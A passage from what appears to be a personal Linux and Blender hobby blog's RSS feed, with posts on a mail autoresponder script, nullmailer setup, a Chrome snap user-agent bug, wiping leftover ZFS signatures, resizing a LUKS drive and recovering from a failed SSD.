    "use_normal_flip":False, 
    "use_dissolve_ortho_edges":False, 
    "mirror":False}, 
    TRANSFORM_OT_shrink_fatten={"value":-5, 
    "use_even_offset":False, 
    "mirror":False, 
    "use_proportional_edit":False, 
    "proportional_edit_falloff":'SMOOTH', 
    "proportional_size":4.59497, 
    "use_proportional_connected":False, 
    "use_proportional_projected":False, 
    "snap":False, 
    "release_confirm":False, 
    "use_accurate":False})
</code></pre>
  <p>
   The main differences are
  </p>
  <ul>
   <li>
    <strong>
     getArea
    </strong>
    method
   </li>
   <li>
    the way the
    <strong>
     override
    </strong>
    is constructed
   </li>
   <li>
    <strong>
     ns3d.region_3d.update()
    </strong>
    call
   </li>
  </ul>
  <p>
   There appear to
   <em>
    spaces
   </em>
   and
   <em>
    regions
   </em>
   with in the
   <em>
    areas
   </em>
   that make up views in the workspace.
  </p>
  <p>
   Only by accessing all these in order can you manipulate the view in a consistent manner.
  </p>
  <p>
   Oh, Blender wrote that
   <strong>
    extrude_region_shrink_fatten
   </strong>
   command.
  </p>
  <p>
   The upcoming video was created to record some of the steps that took me ages to figure out and hopefully these Python notes can help me in the future.
  </p>
</description>
</item>
<item>
<title>a bit of blender python magic to project the knife</title>
<pubDate>Sun, 16 Apr 2023 23:12:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2023.html#p160420232312</link>
<description>
</description>
</item>
<item>
<title>do you need an unicode troppuS</title>
<pubDate>Sun, 26 Mar 2023 22:17:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2023.html#p260320232217</link>
<description>
  <p>
   Speaking of email. I saw an odd message in my inbox.
  </p>
  <p>
   The Subject was listed as
   <code>
    troppuS
   </code>
   but once opened showed as
   <code>
    S u p p o r t
   </code>
  </p>
  <p>
   There is a Unicode symbol that once inserted causes all further characters on that line to be printed in reverse.
  </p>
  <p>
   Scammers assume everyone is using something like Outlook that presumably will show that as
   <code>
    Support
   </code>
   and filtering software will overlook.
  </p>
  <p>
   The From address was also strangely formatted, but not backwards, just lots of white-space.
  </p>
  <p>
   I saved the email and now I have a file with all those dodgy characters in it's file name. Oh well.
  </p>
</description>
</item>
<item>
<title>just respond to an email via a script</title>
<pubDate>Sun, 26 Mar 2023 22:02:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2023.html#p260320232202</link>
<description>
  <p>
   Another "me" problem.
  </p>
  <p>
   I needed to be able to respond to emails with a specific template. That part is straight forward enough, but it needed to be sent from a dedicated email address and also not to appear as a "reply".
  </p>
  <p>
   <a href="https://www.claws-mail.org/faq/index.php/Actions">
    Claws Mail
   </a>
   has a lot of customisation options,including
   <a href="https://www.claws-mail.org/faq/index.php/Actions">
    "Actions"
   </a>
   .
  </p>
  <p>
   An
   <strong>
    Action
   </strong>
   can be a call to an external program or shell script.
  </p>
  <p>
   These in turn can be triggered, by email states, such as the from address.
  </p>
  <pre><code>~/scripts/autoresponder.sh %f
</code></pre>
  <p>
   will run my
   <code>
    autoresponder.sh
   </code>
   script with the selected email filename.
  </p>
  <pre><code>#!/bin/bash

filename="$1"
mailbodyfile="reply.mailbody"
fromaddress="noreply@jumpstation.co.uk"
subject="MAIL BOX DECOMISSIONED"

echo "Autoresponder script"

echo "Working on $filename"

RP=$(grep -E "^Return-Path:\s" $filename | sed -re "s/(.+[&lt;])([^&gt;]+)(.*)/\2/")
F=$(grep -E "^From:\s" $filename | sed -re "s/(.+[&lt;])([^&gt;]+)(.*)/\2/")

address=$F
if [[ $RP ]]; then
    address=$RP
fi

mail -s $subject -aFrom:$fromaddress  $address &lt; $mailbodyfile
</code></pre>
  <p>
   The main job of the script is to extract the FROM and REPLY-TO addresses from the email file.
  </p>
  <p>
   Then to send the email.
  </p>
  <p>
   But the
   <em>
    minor
   </em>
   job of sending an email from the command line is anything but.
  </p>
  <p>
   It doesn't help that many Linux users who want to send email from the command line also have their own mail servers.
  </p>
  <p>
   For us poor plebs the path is littered with posts of how easy this is. *
   <em>
    sigh
   </em>
   *
  </p>
  <p>
   First start with a MTA: Message Transport Agent
  </p>
  <p>
   Do you have a MTA?
  </p>
  <p>
   Took me a while to realise that Gentoo has a default MTA
   <code>
    nullmailer
   </code>
   . Gentoo has almost no defaults, so I am guessing this came bundled with something else I have installed. Guessing by the number of Gentoo users who have come to the same conclusion, it must be something pretty common.
  </p>
  <pre><code>ps ax |  grep nullmail
</code></pre>
  <p>
   So, I have a MTA and it is running. How to configure it to send via my ISP?
  </p>
  <p>
   The many many posts that either stated that you should be using GMail or running your own mail server slowed me down.
  </p>
  <p>
   Eventually I found the wonderful
   <a href="http://www.troubleshooters.com/linux/nullmailer/">
    Nullmailer troubleshooter
   </a>
  </p>
  <p>
   and configuration is as easy as updating these three files ...
  </p>
  <p>
   <code>
    /etc/nullmailer/defaultdomain
   </code>
  </p>
  <p>
   <code>
    /etc/nullmailer/me
   </code>
  </p>
  <p>
   <code>
    /etc/nullmailer/remotes
   </code>
  </p>
  <p>
   the first two were easy (after some trial and error)
  </p>
  <pre><code>echo jumpstation.co.uk &gt; /etc/nullmailer/defaultdomain
echo jumpstation.co.uk &gt; /etc/nullmailer/me
</code></pre>
  <p>
   The last was the most complex. This was due to the settings language used for SMTP details used in email programs, ISP instructions and the parameters supported in nullmailer.
  </p>
  <p>
   for my ISP
   <strong>
    IONOS
   </strong>
   this sufficed (they used to be called
   <strong>
    1and1
   </strong>
   )
  </p>
  <pre><code>auth.smtp.1and1.co.uk smtp user=Z pass=ZZ auth-login
</code></pre>
  <p>
   (Where the
   <strong>
    Z
   </strong>
   s can be replaced with your details).
  </p>
  <p>
   The trial and error process to get to those remarkably simple final settings was long and arduous.
  </p>
  <p>
   The
   <a href="http://www.troubleshooters.com/linux/nullmailer/">
    Nullmailer troubleshooter
   </a>
   for invaluable here. Pointing to the correct file names and how they are used.
  </p>
  <p>
   When testing, the from address is important. I was using
   <code>
    example@example.com
   </code>
   and of course my ISP was refusing to send it.
  </p>
  <pre><code>echo "This is a test e-mail..." | mail -s "testing" -aFrom:noreply@jumpstation.co.uk "test.service@jumpstation.co.uk"
</code></pre>
  <p>
   To send a test email.
  </p>
  <pre><code>tail -f /var/log/nullmailer/nullmailer.log
</code></pre>
  <p>
   To review the status (run this in another terminal and before the previous command)
  </p>
  <p>
   Resulting in ...
  </p>
  <pre><code>Rescanning queue.
Starting delivery, 1 message(s) in queue.
Starting delivery: host: auth.smtp.1and1.co.uk protocol: smtp file: 167874623.20574
From: &lt;noreply@jumpstation.co.uk&gt; to: &lt;test.service@jumpstation.co.uk&gt;
Message-Id: &lt;167574623.546247.20573.nullmailer@jumpstation.co.uk&gt;
smtp: Succeeded: 250 Requested mail action okay, completed: id=1wQOx-1qQkhp0GhR-00sLea
Sent file.
Can't unlink file: No such file or directory
Delivery complete, 1 message(s) remain.
</code></pre>
  <p>
   That shows the request to send an email being collected from the local machine and being sent.
  </p>
  <p>
   If you have any problems/error you can check the
  </p>
  <pre><code>/var/spool/nullmailer/failed/
</code></pre>
  <p>
   I skipped over the whole
   <code>
    mail
   </code>
   is a link to your mailer debacle.
  </p>
</description>
</item>
<item>
<title>where is march</title>
<pubDate>Sun, 05 Mar 2023 13:55:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2023.html#p050320231355</link>
<description>
  <p>
   Had an interesting day at work.
  </p>
  <p>
   Checked my
   <em>
    Google
   </em>
   calendar and clicked the
   <strong>
    Join Meeting
   </strong>
   button, as always.
  </p>
  <p>
   Strange, I get an error message
  </p>
  <blockquote>
   <p>
    Meet doesn't work on your browser
   </p>
   <p>
    To join the video meeting
   </p>
   <p>
    Download Chrome
   </p>
  </blockquote>
  <p>
   log out of
   <em>
    Google
   </em>
   and in again ... but no change.
  </p>
  <p>
   reboot and ... no change.
  </p>
  <p>
   Check the internets and my colleagues, no one else seems to be having a problem.
  </p>
  <p>
   Check
   <em>
    Chrome
   </em>
   version. Hmmm
   <strong>
    Ubuntu Snap
   </strong>
   in the version. I
   <strong>
    HATE
   </strong>
   snap packages! They always fail in some weird and wonderful way that the native app could never.
  </p>
  <p>
   Do a lot of
   <em>
    Googling
   </em>
   and eventually find a bug report from just an hour ago.
  </p>
  <p>
   <a href="https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/2008999">
    (Bug 2008999)
   </a>
  </p>
  <p>
   and there is a solution ... hold on to your hats;
  </p>
  <p>
   Install the
   <a href="https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg">
    User Agent Switcher
   </a>
   extension for
   <em>
    Chrome
   </em>
   by
   <em>
    Google
   </em>
  </p>
  <p>
   to set the User Agent for
   <em>
    Google
   </em>
   <em>
    Chrome
   </em>
   to an unpolluted value for
   <em>
    Google Chrome
   </em>
   , because
  </p>
  <p>
   <em>
    Ubuntu
   </em>
   want search queries using
   <em>
    Google Chrome
   </em>
   as snap package to contain a reference to the fact that the user is using
   <em>
    Ubuntu Chrome
   </em>
   .
  </p>
  <p>
   So to get past the message when trying to join a
   <em>
    Google Meet
   </em>
   meeting with
   <em>
    Chrome
   </em>
   that you need to download
   <em>
    Chrome
   </em>
   , you have to spoof a
   <em>
    Chrome
   </em>
   user agent that
   <em>
    Google.com
   </em>
   recognises as being actual
   <em>
    Chrome
   </em>
   .
  </p>
  <p>
   Or just remove the
   <em>
    Chrome
   </em>
   snap and install from the .pkg directly from
   <em>
    Google
   </em>
   .
  </p>
  <p>
   <strong>
    H A T E  - S N A P!
   </strong>
  </p>
</description>
</item>
<item>
<title>snap google chrome in ubuntu for a new user agent</title>
<pubDate>Thu, 02 Mar 2023 23:13:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2023.html#p020320232313</link>
<description>
  <p>
   Had an interesting day at work.
  </p>
  <p>
   Checked my
   <em>
    Google
   </em>
   calendar and clicked the
   <strong>
    Join Meeting
   </strong>
   button, as always.
  </p>
  <p>
   Strange, I get an error message
  </p>
  <blockquote>
   <p>
    Meet doesn't work on your browser
   </p>
   <p>
    To join the video meeting
   </p>
   <p>
    Download Chrome
   </p>
  </blockquote>
  <p>
   log out of
   <em>
    Google
   </em>
   and in again ... but no change.
  </p>
  <p>
   reboot and ... no change.
  </p>
  <p>
   Check the internets and my colleagues, no one else seems to be having a problem.
  </p>
  <p>
   Check
   <em>
    Chrome
   </em>
   version. Hmmm
   <strong>
    Ubuntu Snap
   </strong>
   in the version. I
   <strong>
    HATE
   </strong>
   snap packages! They always fail in some weird and wonderful way that the native app could never.
  </p>
  <p>
   Do a lot of
   <em>
    Googling
   </em>
   and eventually find a bug report from just an hour ago.
  </p>
  <p>
   <a href="https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/2008999">
    (Bug 2008999)
   </a>
  </p>
  <p>
   and there is a solution ... hold on to your hats;
  </p>
  <p>
   Install the
   <a href="https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg">
    User Agent Switcher
   </a>
   extension for
   <em>
    Chrome
   </em>
   by
   <em>
    Google
   </em>
  </p>
  <p>
   to set the User Agent for
   <em>
    Google
   </em>
   <em>
    Chrome
   </em>
   to an unpolluted value for
   <em>
    Google Chrome
   </em>
   , because
  </p>
  <p>
   <em>
    Ubuntu
   </em>
   want search queries using
   <em>
    Google Chrome
   </em>
   as snap package to contain a reference to the fact that the user is using
   <em>
    Ubuntu Chrome
   </em>
   .
  </p>
  <p>
   So to get past the message when trying to join a
   <em>
    Google Meet
   </em>
   meeting with
   <em>
    Chrome
   </em>
   that you need to download
   <em>
    Chrome
   </em>
   , you have to spoof a
   <em>
    Chrome
   </em>
   user agent that
   <em>
    Google.com
   </em>
   recognises as being actual
   <em>
    Chrome
   </em>
   .
  </p>
  <p>
   Or just remove the
   <em>
    Chrome
   </em>
   snap and install from the .pkg directly from
   <em>
    Google
   </em>
   .
  </p>
  <p>
   <strong>
    H A T E  - S N A P!
   </strong>
  </p>
</description>
</item>
<item>
<title>no wifi again</title>
<pubDate>Sat, 18 Feb 2023 09:53:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2023.html#p180220230953</link>
<description>
  <blockquote>
   <p>
    Fail fast!
   </p>
  </blockquote>
  <p>
   It is an important idea to live by. By failing fast you can catch and resolve errors that otherwise might build and compound over time.
  </p>
  <p>
   So I feel a bit like an idiot when after putting off a kernel upgrade for a while (OK, a longggg while) a reboot left me with no Wifi.
  </p>
  <p>
   Luckily there was a
   <a href="Apr2022.html#p020420222230">
    blog post
   </a>
   about a Wifi issue.
   <em>
    (thanks me !)
   </em>
  </p>
  <p>
   In the very long post was a small note that an alternate non kernel driver was sourced built and installed. And, crucially the default driver is blacklisted!(*)
  </p>
  <p>
   So all I need to do was build and install the
   <a href="https://github.com/lwfinger/rtl8192ee">
    RTL8192ee custom driver
   </a>
   with the new kernel.
  </p>
  <pre><code>cd folder-for-driver
git pull
make all
sudo make install
sudo reboot
</code></pre>
  <p>
   Wifi !!
  </p>
  <p>
   OK, time to update my personal "how to update the kernel notes"
  </p>
  <p>
   *blushing-smiley
  </p>
  <p>
   (*) "blacklist" is the term used in the modprobe and kernel documentation. It is expected to be replaced in the future.
  </p>
</description>
</item>
<item>
<title>busy busy car ransomware busy</title>
<pubDate>Sun, 12 Feb 2023 14:29:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2023.html#p120220231429</link>
<description>
  <p>
   Been a bit busy recently, but...
  </p>
  <p>
   My long running blocker for looking for a place to live has finally been resolved.
  </p>
  <p>
   I tried to buy a car over Christmas and just my luck the company selling it was attacked by ransomware. The people were very good, but it took weeks longer than it should have to sort out and the whole time I was without a car.
  </p>
  <p>
   Looking forward to D&amp;D today as I keep having to miss it.
  </p>
</description>
</item>
<item>
<title>happy new year review 2022</title>
<pubDate>Sun, 01 Jan 2023 23:09:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2023.html#p010120232309</link>
<description>
  <p>
   And
   <strong>
    HAPPY NEW YEAR!
   </strong>
  </p>
  <p>
   A quick look back at last year in flog land.
  </p>
  <p>
   <a href="year2022.html">
    Flog the year of 2020
   </a>
  </p>
  <p>
   number of posts
   <strong>
    53
   </strong>
  </p>
  <p>
   total tags
   <strong>
    2041
   </strong>
  </p>
  <p>
   of which were used in 2022
   <strong>
    374
   </strong>
  </p>
  <p>
   of which were new in 2022
   <strong>
    145
   </strong>
  </p>
  <p>
   Top tags
14
   <a href="f-log/tagging/flog.xml">
    flog.xml
   </a>
   10
   <a href="f-log/tagging/update.xml">
    update.xml
   </a>
   10
   <a href="f-log/tagging/blender.xml">
    blender.xml
   </a>
   8
   <a href="f-log/tagging/3dprinting.xml">
    3dprinting.xml
   </a>
   6
   <a href="f-log/tagging/film.xml">
    film.xml
   </a>
  </p>
  <p>
   I switched from text edited BBcode styled flog posts to markdown in March.
  </p>
  <p>
   Here are some graphs depicting the number of posts, length of posts and number of images in posts.
  </p>
  <p>
   <img alt="graph 2022 posts" src="/home/rednuht/projects/flog/images/plot_log_tall_2022.png" title="graph 2022 posts"/>
  </p>
  <p>
   <img alt="graph 2022 posts" src="/home/rednuht/projects/flog/images/plot_no_log_short_2022.png" title="graph 2022 posts"/>
  </p>
  <p>
   To run the gnuplot scripts from last year I found I could
  </p>
  <pre><code>gnuplot -e "set terminal png; set output $OUTPUTFN" $PLOTSCRIPT
</code></pre>
  <p>
   in a loop of $PLOTSCRIPT files to $OUTPUTFN pngs
  </p>
  <p>
   Because I had to many posts in November the legend/key got stuck behind the bar graph. The fix was to add.
  </p>
  <pre><code>set key outside
</code></pre>
  <p>
   to the plot script.
  </p>
  <p>
   Or delve into the
   <a href="archive.html">
    Updated Archive
   </a>
   (20 years of flog)
  </p>
</description>
</item>
<item>
<title>never say never to an ssd</title>
<pubDate>Sun, 01 Jan 2023 17:24:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2023.html#p010120231724</link>
<description>
  <p>
   I have a little problem. Every time I run an update and try download a load of mail my machine slows down.
  </p>
  <p>
   I saw it a while ago and checked the basics. What was running in the background, disk usage, memory usage etc.
  </p>
  <p>
   Then it started getting worse. Doing anything with the disk would cause stutters. I figured I had selected a non-optimal kernel scheduling option.
  </p>
  <p>
   I started being very careful to only run updates when nothing else was running, but accidentally checked on my mail :(
  </p>
  <p>
   The machine slowed down until after a few hours I had no choice but to reboot. Something was not right, but having
   <strong>
    never
   </strong>
   experienced a bad drive in 20+ years and Linux running
   <strong>
    fsck
   </strong>
   to fix any slight problem...
  </p>
  <p>
   I checked the
   <strong>
    smart
   </strong>
   stats on the drive and everything was A-OK!
  </p>
  <p>
   <em>
    Phew!
   </em>
  </p>
  <p>
   I ran the update on its own. The thinking being that if I get up to date I can do a "good" backup. Remember Gentoo recompiles everything from source, so there is a
   <strong>
    lot
   </strong>
   of disk activity for an update.
  </p>
  <p>
   The fates were not kind. This time the machine hung and refused to boot up again !!
  </p>
  <p>
   First thing was a forensic copy of the drive using
   <strong>
    dd
   </strong>
   using a live Gentoo USB. This created a block for block copy of the entire drive.
  </p>
  <p>
   It took +3hrs and the KDE screen lock on the live USB locked up. I left it over night and it did make the backup.
  </p>
  <p>
   <em>
    Phew!
   </em>
  </p>
  <p>
   Then I mounted the drive and did a
   <strong>
    tar
   </strong>
   backup of the files. Another +3hrs
  </p>
  <p>
   More detailed investigation in to the
   <strong>
    smart
   </strong>
   data on the drive. All A-OK!
  </p>
  <p>
   So I wiped the drive and restored from my
   <strong>
    dd
   </strong>
   block by block backup.
  </p>
  <p>
   It wouldn't boot :(
  </p>
  <p>
   I set about recreating the drive partitions from scratch and after quite sometime following the Gentoo install handbook had a drive with all the correct partitions and recovered data from the
   <strong>
    tar
   </strong>
   file backup.
  </p>
  <p>
   It booted and all seemed perfect until it died :(
  </p>
  <p>
   No idea what is wrong with the drive, it was only 3 years old :(
  </p>
  <p>
   Luckily I had another SSD and with my new found knowledge was able to build from scratch and copy over my files. Nothing lost.
  </p>
  <p>
   My new years resolution is probably to make more back ups :D
  </p>
</description>
</item>
<item>
<title>whats the password gentoo</title>
<pubDate>Fri, 30 Dec 2022 22:45:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2022.html#p301220222245</link>
<description>
  <h1>
   Bonus Challenge (secondary challenge)!!
  </h1>
  <p>
   All I wanted to do was run a Live Linux distro off a USB drive and ...
  </p>
  <h3>
   Mint Linux Live USB
  </h3>
  <p>
   Just kept failing on the second boot. Rewrote the disk from scratch three times and each time would get a single successful boot :(
  </p>
  <h3>
   Xubuntu Linux Live USB
  </h3>
  <p>
   Booted every time and seemed ideal accept the Wifi drivers wouldn't load and I needed internet access :(
  </p>
  <h3>
   Gentoo Linux Live USB (desktop edition)
  </h3>
  <p>
   Booted quickly and an onscreen keyboard was shown. Dismissed that and got a standard login screen for a user
   <strong>
    gentoo
   </strong>
   .
  </p>
  <p>
   What's the password?
  </p>
  <p>
   ... and now it really begins ...
  </p>
  <p>
   Googling the answer turns up this
   <a href="https://www.reddit.com/r/Gentoo/comments/whrnar/does_anyone_know_what_the_login_password_is_for/">
    Reddit post
   </a>
  </p>
  <p>
   Which has the following suggestions
  </p>
  <ul>
   <li>
    <em>
     live
    </em>
   </li>
   <li>
    <em>
     moo123
    </em>
   </li>
   <li>
    <em>
     gentoo
    </em>
   </li>
   <li>
    and my favourite, a Google link to googling for the password
   </li>
  </ul>
  <p>
   None of these worked, and I tried
   <em>
    gentoo
   </em>
   a number of times before I tried changing the password in a separate terminal.
  </p>
  <pre><code>CTRL + ALT + F1
</code></pre>
  <p>
   Got me a terminal where I could run
  </p>
  <pre><code>passwd
</code></pre>
  <p>
   and I tried to change the password to
   <em>
    gentoo
   </em>
   , but got rebuffed for the password being too simple.
  </p>
  <p>
   so I tried
  </p>
  <pre><code>sudo passwd gentoo
</code></pre>
  <p>
   and I tried to change the password to
   <em>
    gentoo
   </em>
   , but got rebuffed for the password being too simple.
  </p>
  <p>
   Hang on a mo. As
   <em>
    root
   </em>
   I should be able to change anyone's password to anything!
  </p>
  <p>
   So began the
   <em>
    fixing
   </em>
   stage of this challenge.
  </p>
  <p>
   change the policy file
  </p>
  <pre><code>euse -D passwdqc -p sys-auth/pambase
</code></pre>
  <p>
   Didn't produce any errors and I could run
   <em>
    passwd
   </em>
   and enter a simple password, Hooray!
  </p>
  <p>
   Not too fast! Although the password change was successful I couldn't login with it :(
  </p>
  <p>
   so I followed the instructions in
   <code>
    passwd
   </code>
   and used
   <code>
    "Moon!Rent$agent"
   </code>
   and it worked
  </p>
  <p>
   I then had to go through that palaver every time I rebooted the live USB, grrr
  </p>
  <p>
   When I am root I do not expect to be treated like this!
  </p>
  <pre><code>CTRL + ALT + F7
</code></pre>
  <p>
   to get back to the GUI login.
  </p>
</description>
</item>
<item>
<title>zfs infects otherwise blank disk</title>
<pubDate>Mon, 12 Dec 2022 23:07:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2022.html#p121220222307</link>
<description>
  <h1>
   Bonus Challenge!!
  </h1>
  <p>
   Old
   <strong>
    256Gb
   </strong>
   drive kept getting filled up. Company supplied me with a
   <strong>
    512Gb
   </strong>
   replacement.
  </p>
  <p>
   Booted in to Gentoo Live USB and saw new drive was unformatted(*).
  </p>
  <p>
   (*) Except by the end of this you will realise that wasn't completely wiped clean.
  </p>
  <p>
   Copied the drive, swapped over the drives.
  </p>
  <p>
   Booted the new drive and checked everything still worked, knowing the disk size would
   <em>
    not
   </em>
   update.
  </p>
  <p>
   Booted again into Gentoo live and ran
   <code>
    KDE partition manager
   </code>
   ('cos the live USB was all KDE themed).
  </p>
  <p>
   This showed all the partitions and that the drive was
   <strong>
    477Gb
   </strong>
   (close enough), but there were no options to resize anything, there were no visible indications that any free space existed :(
  </p>
  <p>
   Tried to install
   <code>
    Gparted
   </code>
   to find it was already installed :D
  </p>
  <p>
   But when
   <code>
    Gparted
   </code>
   was ran it only showed a single
   <code>
    ZFS rloop
   </code>
   partition. No sign of any free space
  </p>
  <p>
   I eventually found that the previous drive owner had left
   <code>
    ZFS
   </code>
   <em>
    "bits"
   </em>
   on the drive and
   <code>
    Gparted
   </code>
   couldn't see beyond them.
  </p>
  <p>
   This
   <a href="http://gparted-forum.surf4.info/viewtopic.php?id=17917">
    forum post
   </a>
   covered what I needed.
  </p>
  <p>
   <code>
    wipefs
   </code>
   will not
   <em>
    "wipe"
   </em>
   your file system, if you are careful!
  </p>
  <pre><code>wipefs -n /dev/nvme0n1 | grep rpool
</code></pre>
  <p>
   Showed not one or two
   <code>
    ZFS
   </code>
   <em>
    "bits"
   </em>
   but 31!!
  </p>
  <p>
   I am not trying to type in 31 complex hex offset values and just
   <em>
    hoping
   </em>
   I don't make a mistake.
  </p>
  <p>
   Time for some bash scripting...
  </p>
  <pre><code>wipefs -n /dev/nvme0n1 | grep rpool | grep -Eo "[ ]0x[^ ]+" | sed -re "s/^/wipefs -o /" | sed -re "s/$/ \/dev\/nvme0n1/"
</code></pre>
  <p>
   Gets all the
   <code>
    rpool
   </code>
   items, extracts the hex offset and then replaces the front of the line with the
   <code>
    wipe -o
   </code>
   command and the end with the the device root
   <code>
    /dev/nvme0n1
   </code>
  </p>
  <p>
   Which spat out this lot, which was easy to copy and paste
  </p>
  <pre><code>wipefs -o  0x773c23f000 /dev/nvme0n1
wipefs -o  0x773c23e000 /dev/nvme0n1
wipefs -o  0x773c23d000 /dev/nvme0n1
wipefs -o  0x773c23c000 /dev/nvme0n1
wipefs -o  0x773c23b000 /dev/nvme0n1
wipefs -o  0x773c23a000 /dev/nvme0n1
wipefs -o  0x773c239000 /dev/nvme0n1
wipefs -o  0x773c238000 /dev/nvme0n1
wipefs -o  0x773c237000 /dev/nvme0n1
wipefs -o  0x773c236000 /dev/nvme0n1
wipefs -o  0x773c235000 /dev/nvme0n1
wipefs -o  0x773c234000 /dev/nvme0n1
wipefs -o  0x773c233000 /dev/nvme0n1
wipefs -o  0x773c232000 /dev/nvme0n1
wipefs -o  0x773c231000 /dev/nvme0n1
wipefs -o  0x773c230000 /dev/nvme0n1
wipefs -o  0x773c22f000 /dev/nvme0n1
wipefs -o  0x773c22e000 /dev/nvme0n1
wipefs -o  0x773c22d000 /dev/nvme0n1
wipefs -o  0x773c22c000 /dev/nvme0n1
wipefs -o  0x773c22b000 /dev/nvme0n1
wipefs -o  0x773c22a000 /dev/nvme0n1
wipefs -o  0x773c229000 /dev/nvme0n1
wipefs -o  0x773c228000 /dev/nvme0n1
wipefs -o  0x773c227000 /dev/nvme0n1
wipefs -o  0x773c226000 /dev/nvme0n1
wipefs -o  0x773c225000 /dev/nvme0n1
wipefs -o  0x773c224000 /dev/nvme0n1
wipefs -o  0x773c223000 /dev/nvme0n1
wipefs -o  0x773c222000 /dev/nvme0n1
wipefs -o  0x773c221000 /dev/nvme0n1
wipefs -o  0x773c220000 /dev/nvme0n1
</code></pre>
  <p>
   <code>
    Gparted
   </code>
   refreshed, showed correct partitions and
   <strong>
    FREE SPACE
   </strong>
  </p>
  <p>
   and there is just time for a secondary Bonus Challenge ... about Gentoo's Live USB
  </p>
</description>
</item>
<item>
<title>upgrading to larger luks encrypted m.2 drive</title>
<pubDate>Mon, 12 Dec 2022 22:43:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2022.html#p121220222243</link>
<description>
  <h1>
   A new bigger drive for my work Linux laptop!!
  </h1>
  <p>
   Had a
   <strong>
    256Gb
   </strong>
   drive and kept running out of space. Database back ups, Docker images,
   <em>
    Snap
   </em>
   packages etc.
  </p>
  <p>
   They kindly sent me a
   <strong>
    512Gb
   </strong>
   drive in a cute M.2 USB enclosure.
  </p>
  <h2>
   Challenge 1. cannot get my Gentoo live USB to boot.
  </h2>
  <h3>
   Fix: disable Secure Boot in the BIOS (had to do this Every time I needed to boot the live USB)
  </h3>
  <p>
   I ran dd with an 8Mb block size on the new unformatted USB drive
  </p>
  <pre><code>dd bs=8M if=/dev/original-small-drive of=/dev/new-bigger-drive
</code></pre>
  <p>
   from one drive to the other and shut everything down and physically swapped over the drives in the laptop.
  </p>
  <h2>
   Challenge 2. cannot get the new drive to boot.
  </h2>
  <h3>
   Fix: re-enable Secure Boot in the BIOS (had to do this Every time I needed to boot the M.2 system drive)
  </h3>
  <p>
   Would it boot now? Yes, and as expected the drive still showed as
   <strong>
    256Gb
   </strong>
  </p>
  <p>
   OK, now to resize it.
  </p>
  <p>
   <strong>
    Bonus Challenge
   </strong>
   : this will be its own separate post and I doubt anyone else will encounter it, but different partition managers were telling me different things at this point*
  </p>
  <p>
   Tried a few thousand commands from various blogs and forums and although nothing was breaking the disk, it was stubbornly staying at 256Gb
  </p>
  <h2>
   Challenge 3. realising that it is a LUKS volume and it's Encrypted.
  </h2>
  <h3>
   Fix: Add "crypt" to all Google searches
  </h3>
  <p>
   which led to a post
   <a href="https://unix.stackexchange.com/questions/320957/extend-a-luks-encrypted-partition-to-fill-disk">
    extend-a-luks-encrypted-partition-to-fill-disk
   </a>
   , which sounds about right :)
  </p>
  <p>
   and to an answer with this
   <a href="https://unix.stackexchange.com/a/674828">
    amazingly detailed guide
   </a>
   , including lots of screenshots.
  </p>
  <p>
   I followed it religiously and it all seemed to work...
  </p>
  <p>
   Except the
  </p>
  <pre><code>sudo resize2fs -p /dev/mapper/vgubuntu-root`
</code></pre>
  <p>
   command reported that nothing had changed...
  </p>
  <p>
   Undeterred, I rebooted and found ... the disk was still reporting
   <strong>
    256Gb
   </strong>
   , but now it was also showing the encrypted partition as
   <strong>
    512Gb
   </strong>
   .
  </p>
  <p>
   Making progress!
  </p>
  <p>
   Back to the post
   <a href="https://unix.stackexchange.com/questions/320957/extend-a-luks-encrypted-partition-to-fill-disk">
    extend-a-luks-encrypted-partition-to-fill-disk
   </a>
   and reread
   <a href="https://unix.stackexchange.com/a/674828">
    detailed guide
   </a>
  </p>
  <p>
   I couldn't see anywhere I had gone wrong so I looked at
   <a href="https://unix.stackexchange.com/a/322631">
    another answer
   </a>
   on the page
  </p>
  <p>
   add followed just a few of the steps after unlocking the encrypted partition in
   <em>
    Gparted
   </em>
   .
  </p>
  <pre><code>pvresize /dev/nvme0n1p3_crypt

lvresize -l+100%FREE /dev/mapper/vgubuntu-root

e2fsck -f /dev/mapper/mapper/vgubuntu-root

resize2fs /dev/mapper/mapper/vgubuntu-root
</code></pre>
  <p>
   OM the Gs! that last command said it
   <em>
    DID
   </em>
   change something ...
  </p>
  <p>
   reboot and ... It worked! Finally I had
   <strong>
    512Gb
   </strong>
   (minus the boot partition, some swap and some overfit)
  </p>
  <p>
   Stay tuned for the
   <strong>
    *Bonus Challenge
   </strong>
   which was all about
   <code>
    ZFS
   </code>
  </p>
</description>
</item>
<item>
<title>418 i am a teapot short and stout</title>
<pubDate>Sun, 13 Nov 2022 13:31:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2022.html#p131120221331</link>
<description>
  <p>
   Just so you don't forget,
   <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/418">
    HTTP status code 418
    <em>
     I'm a teapot
    </em>
   </a>
   really exists.
  </p>
  <p>
   <em>
    refs
   </em>
  </p>
  <ul>
   <li>
    <p>
     Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)
     <a href="https://www.rfc-editor.org/rfc/rfc2324">
      RFC2324
     </a>
    </p>
   </li>
   <li>
    <p>
     <a href="https://en.wikipedia.org/wiki/Trojan_Room_coffee_pot">
      Trojan Room coffee pot
     </a>
     page on Wikipedia
    </p>
   </li>
   <li>
    <p>
     <a href="https://www.cl.cam.ac.uk/coffee/coffee.html">
      The Trojan Room Coffee Machine
     </a>
    </p>
